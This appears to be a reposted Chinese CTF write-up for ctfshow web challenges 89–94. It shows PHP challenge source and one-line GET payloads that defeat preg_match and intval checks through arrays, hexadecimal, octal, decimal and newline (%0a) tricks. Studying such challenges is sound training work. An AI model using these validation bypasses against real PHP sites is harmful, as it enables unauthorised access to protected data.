91php,ctfshow之Web入门89-91

0x01Web89-91PHP特性payload

Web89

include("flag.php");

highlight_file(__FILE__);

if(isset($_GET['num'])){

$num = $_GET['num'];

if(preg_match("/[0-9]/", $num)){

die("no no no!");

}

if(intval($num)){

echo $flag;

}

}

//这里主要是对数字进行了过滤,并且又要GET请求传入的num变量为数字或数字串,关于preg_match()函数一个漏洞——>无法处理数组

Paylaod:?num[]=10

Web90

include("flag.php");

highlight_file(__FILE__);

if(isset($_GET['num'])){

$num = $_GET['num'];

if($num==="4476"){

die("no no no!");

}

if(intval($num,0)===4476){

echo $flag;

}else{

echo intval($num,0);

}

}

//强比较+intval函数

Payload:?num=4476e

Web91

show_source(__FILE__);

include('flag.php');

$a=$_GET['cmd'];

if(preg_match('/^php$/im', $a)){

if(preg_match('/^php$/i', $a)){

echo 'hacker';

}

else{

echo $flag;

}

}

else{

echo 'nonononono';

}

//这里有有两个条件,第一个需要是php,第二个又不可以php,不过有个差距就是m模式,/m代表匹配多行数据,这里可以通过%0a进行绕过

Payload:?cmd=%0aphp

Web92

include("flag.php");

highlight_file(__FILE__);

if(isset($_GET['num'])){

$num = $_GET['num'];

if($num==4476){

die("no no no!");

}

if(intval($num,0)==4476){

echo $flag;

}else{

echo intval($num,0);

}

}

//这里不能是4476,但是又要是4476,intval可以识别十六进制为十进制

Payload:?num=0x117c

Web93

include("flag.php");

highlight_file(__FILE__);

if(isset($_GET['num'])){

$num = $_GET['num'];

if($num==4476){

die("no no no!");

}

if(preg_match("/[a-z]/i", $num)){

die("no no no!");

}

if(intval($num,0)==4476){

echo $flag;

}else{

echo intval($num,0);

}

}

//ban掉了字母,但是可以用八进制绕过

Payload:?num=010574

Web94

include("flag.php");

highlight_file(__FILE__);

if(isset($_GET['num'])){

$num = $_GET['num'];

if($num==="4476"){

die("no no no!");

}

if(preg_match("/[a-z]/i", $num)){

die("no no no!");

}

if(!strpos($num, "0")){

die("no no no!");

}

if(intval($num,0)===4476){

echo $flag;

}

}

//不能以0开头了,这时候可以试试小数,intval只识别整数部分

Payload:?num=4476.0001

标签:__,Web,num,no,GET,echo,flag,89,91

来源: https://www.cnblogs.com/erR0Ratao/p/13693066.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值